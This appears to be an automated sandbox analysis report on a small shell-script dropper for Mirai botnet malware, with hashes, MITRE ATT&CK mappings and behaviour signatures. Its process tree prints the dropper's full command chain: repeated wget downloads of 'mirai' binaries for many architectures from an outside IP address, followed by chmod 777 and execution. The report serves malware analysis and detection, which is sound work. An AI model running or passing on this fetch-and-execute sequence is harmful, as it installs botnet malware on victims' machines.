6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d

Analysis

max time kernel
38s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
20/09/2026, 17:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh
Size 292B
Sample260920-vs799axt9l
SHA256 6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d
MD5 97574b72f6b8f035a2b5bea8d81b8b2d
SHA1 f5b66b5d429943d99314cd96d381deeb9c62f115
SHA512 2531f399b5f8769373947d68daff9a05bf056f2e1c43d7a29821acf997e74554f36d22b9d3ff00fce3eb95143399e4b33d4ec11ec301a1763211dc372bd6c2f0
TLSH
T167E0C2E4F876AB02715D1C2D311AC3A6BAC24D9F88013D8A809F4CB5D98DD5CA168EB2
MD5 SHA1 SHA512 TLSH

Score

9^/10

defense_evasion discovery

Malware Config

Signatures

Contacts a large (23368) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1502	chmod
1506	chmod
1510	chmod
1514	chmod
1518	chmod
1522	chmod
1526	chmod

Deletes itself 1 IoCs

pid	Process
1527	.m

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/.m	1503	6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh
/tmp/.m	1507	6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh
/tmp/.m	1511	6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh
/tmp/.m	1515	6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh
/tmp/.m	1519	6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh
/tmp/.m	1523	6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh
/tmp/.m	1527	6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	.m
File opened for modification	/dev/misc/watchdog	.m

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	.m

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	64mmsq8moke5	1527	.m

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	.m

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1494	wget

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.m	wget
File opened for modification	/tmp/.m	wget
File opened for modification	/tmp/.m	wget
File opened for modification	/tmp/.m	wget
File opened for modification	/tmp/.m	wget
File opened for modification	/tmp/.m	wget
File opened for modification	/tmp/.m	wget

/tmp/6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh
/tmp/6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh
1⤵
- Executes dropped EXE
PID:1492
- /bin/rm
  rm -f .m
  2⤵
  PID:1493
- /usr/bin/wget
  wget -qO .m http://176.65.148.10/mirai.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1494
- /bin/chmod
  chmod 777 .m
  2⤵
  - File and Directory Permissions Modification
  PID:1502
- /tmp/.m
  ./.m
  2⤵
  PID:1503
- /usr/bin/wget
  wget -qO .m http://176.65.148.10/mirai.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1505
- /bin/chmod
  chmod 777 .m
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/.m
  ./.m
  2⤵
  PID:1507
- /usr/bin/wget
  wget -qO .m http://176.65.148.10/mirai.arm
  2⤵
  - Writes file to tmp directory
  PID:1509
- /bin/chmod
  chmod 777 .m
  2⤵
  - File and Directory Permissions Modification
  PID:1510
- /tmp/.m
  ./.m
  2⤵
  PID:1511
- /usr/bin/wget
  wget -qO .m http://176.65.148.10/mirai.arm7hf
  2⤵
  - Writes file to tmp directory
  PID:1513
- /bin/chmod
  chmod 777 .m
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /tmp/.m
  ./.m
  2⤵
  PID:1515
- /usr/bin/wget
  wget -qO .m http://176.65.148.10/mirai.arm64
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/chmod
  chmod 777 .m
  2⤵
  - File and Directory Permissions Modification
  PID:1518
- /tmp/.m
  ./.m
  2⤵
  PID:1519
- /usr/bin/wget
  wget -qO .m http://176.65.148.10/mirai.ppc
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/chmod
  chmod 777 .m
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /tmp/.m
  ./.m
  2⤵
  PID:1523
- /usr/bin/wget
  wget -qO .m http://176.65.148.10/mirai.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1525
- /bin/chmod
  chmod 777 .m
  2⤵
  - File and Directory Permissions Modification
  PID:1526
- /tmp/.m
  ./.m
  2⤵
  - Deletes itself
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:1527

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /tmp/.m
Size 703KB
SHA256 07623448429a02c23d568207e8ff42f08578bdc7fc626d0aa1ad5a56f880853d
MD5 98cd2594ad5909883b298c0753051cfe
SHA1 40be8216cd904ee60949232dab6dc0c61f1bfab0
SHA512 1aaac0d727e6b89782dc5d6d0da3d829fd7550a34da3fda703628c647d53870da8778be23a1d2ad09bc93afd7b4c7e95ee7d5ee7df1ff260307dda3fe5446f0b
SSDEEP 12288:Ziu+6ImQwJ/vPCKddKyi4UXGZEFLSBngpjyw8tN1DOIsuH7:fdImvjS4UXGZEpSB68EIsub
TLSH
T1C5E47C5277318F64E361D27105E3CBA19AA921930AE354C6A37CC7207A50B2D2D6FFF9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/.m
Size 703KB
SHA256 1ff24d746d38ce91b6f883c08538f3244ff3f4e20db51bb055140f02deaebc01
MD5 08e3eb309cd50220bb82baf445b29027
SHA1 864dd9a123701187bc270bcf55c7ed57e8a88063
SHA512 452dfec0ed47d918059d9280f47c72f3cd76d60eaef8ae5e5d5578272dceb9d55640f620033dbe2a8ba8edaa4c6f22d42432b0443f5175ba83cd9ec2792e7246
SSDEEP 12288:8bcBGN6HKJRkh3ADabzZroajR/leATQ2CWtYg3Xj6XF1nvGVTfOExnNNoU9b2pJ9:o9N6H0RkxvbfXVRIXfuRIsu
TLSH
T1FFE46C06EF941FEBC4AFCE34855E831B05EDC88742C2A63561BCCD6CBA8D2594BE7458
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/.m
Size 599KB
SHA256 0b29902cf7a294a9714626ca9952239cf9826a4cb15a121484c94658653aa893
MD5 9d495969d31ba4d7916b7e1cca46b8bb
SHA1 591c09b25c9935789c59b9cfdf80844d1d49bd11
SHA512 7066c9fb9608ad4b6388cf8c5c046f8c34e13c6d26ee498d044aa7144033b4f99fe70ec01f22f36db758f13e8e468083dd8ea428dcbaeb7bd92eb8ddb5f144cc
SSDEEP 12288:SzSuQcCMm8Twis1mTGh6WTLEbgehUgpjrJW0D8AMAHM:Si8ciAmTGhCsmVAAMAH
TLSH
T1C5D43A56F8809F62C5D1267AFA5F8268331347B5C3DB720699189B383BD786B0F3B641
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/.m
Size 466KB
SHA256 3ea27ad37fd73f6880c8fdf301c179b5509469b4fcd5aa91d1ee49b8f14daa64
MD5 794ea3ee1bcd811104cc853d77023752
SHA1 7d31ae31b72f49b23c70f0207795141027483346
SHA512 dfd8c17dd1b00b0a46f4f465a9cef189d3b9dadc5d73a66eac7aae4f4ec8a4bafd484541868d443cef4746009b6d6de2004900b8a029efe97792ee0112a9362c
SSDEEP 12288:aOtxQewq5LiUDRypagpjmniaSi0UNcvbF:aoxQeJpJ6i7Ncvb
TLSH
T18AA4BE67F6621C43C8F79A3E14A382745337D24A13929306A30AF67D3ED637A8F196C5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/.m
Size 693KB
SHA256 7dce629095eeca94c30603794523dc4ba5eff5fab5fbd61e79196ee1bb3b072c
MD5 22080a9209ad4f7bb6e04ea0ffd5390c
SHA1 90ff7952725183ee596dde287362d7cde7a9a94d
SHA512 e9b1b507288de4b8069407d164bbc2a9f172495b96ddb467863d9baa7170674d9b35c29f9857ea0ff4a92dad69df319a7ec3906ae4f7368fb11abdf0836545a0
SSDEEP 12288:z4UPtoMQvvyy4LwXsnprkJwMw5V45ce38ggKvn+a:cNMQbcnpREFsggKv+a
TLSH
T17CE48D9BFD6E3C47D2DBE23E9B8E83B1622BB190C21351A37681032C94C65DD8BB1655
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/.m
Size 836KB
SHA256 e6558e776075d41a956fa094b828a2f27fa53cd2debb320f6e905d6408c17ef4
MD5 c1fcd721ee4cc4df0267fb20b6be119f
SHA1 5ff0bd3be52be4722fd35d21f99226f879889ae1
SHA512 c81bf2a188c62f42d2a8704e70bd3877508eba867ce1355ae0495383e168f14a2fae03ce27e1326cc49d6c1f981d5c6581f118d32d5be417dedd51202be52820
SSDEEP 24576:0y62SsrDU/livHiRxkIsNgfCYjwJssjhVMh/s:DIsNgfCYjC0
TLSH
T1EB059E1BB2B2B6BDC01BC03087DBCA715131F0756A312D7B27C4DA383E9ADA5171AB65
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads